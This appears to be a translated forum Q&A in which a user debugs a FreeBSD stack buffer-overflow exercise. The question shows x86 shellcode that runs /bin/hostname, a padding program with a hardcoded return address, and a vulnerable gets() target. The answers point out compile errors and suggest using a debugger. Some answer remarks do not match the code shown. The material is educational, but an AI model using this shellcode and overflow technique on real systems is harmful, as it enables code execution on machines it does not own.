1

Shell 代码打印主机名(bin/hostname)。但是当我执行代码时,它会以相反的顺序向我显示路径,但不打印主机名。我实际上是在做缓冲区溢出。我正在使用freebsd intel机器。这是我的代码

你能弄清楚错误在哪里吗

//Prog 1
    #include<stdio.h>
    main()
    {
    char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
       \x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
               \x50\xcd\x80”;
     int i;
     char buf[108];
     i=strlen(shellcode); 
     printf(“%d”,i);
     strcpy(buf,shellcode);
     for(i=36;i<104:i++)
     {
      buf[i]='b';
     }
     buf[104]='\x2c';
     buf[105]='\xfa';
     buf[106]='\xbf';
     buf[107]='\xbf';

     printf(“%s”,buf);
         return 0;
    }   

上面的程序被注入下面的程序......所以它创建了bufferover流并打印了主机名

#include <stdio.h>
int 
main (int argc, char **argv){
    char buf[100];
    printf("Please Enter your Name");   
        fflush(stdout);
    gets(buf);
    printf("Hello  %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}
4

3 回答 3

0
  1. 您正在定义int I;和使用i
  2. for 使用的是 a :i++,而不是 a;i++
  3. strncpy()也缺少size_t参数
于 2010-12-18T23:32:27.653 回答
0

此示例代码中没有缓冲区溢出。您只是打印 shell 代码,而不是执行它。

由于引号之类的问题,发布的代码甚至无法编译, i vs I 问题, : 而不是 ; 和 strncpy 需要 3 个参数(可能更多错误)。

对于 freebsd,shell 代码可能是正确的,我无法检查。不过,这绝对不适合 linux。

于 2010-12-18T23:33:16.763 回答
0

显然你仍然没有触发代码执行,即使现在我看到你的缓冲区溢出了。但是请注意,溢出 buf 变量会试图覆盖 main 的返回地址,因此无论如何它都应该打印文本。此外,编译器生成的堆栈布局可能与您预期的不同,或者您的堆栈不可执行(尽管在这种情况下您应该得到一个段错误)。

使用调试器单步执行代码,从 main 中的“return”语句开始,看看发生了什么。你很快就会到达一个 RET 指令,它将你的 shellcode 的起始地址弹出到指令指针中,有效地跳转到它。我怀疑由于某种原因没有发生这种情况。

于 2010-12-19T16:46:28.640 回答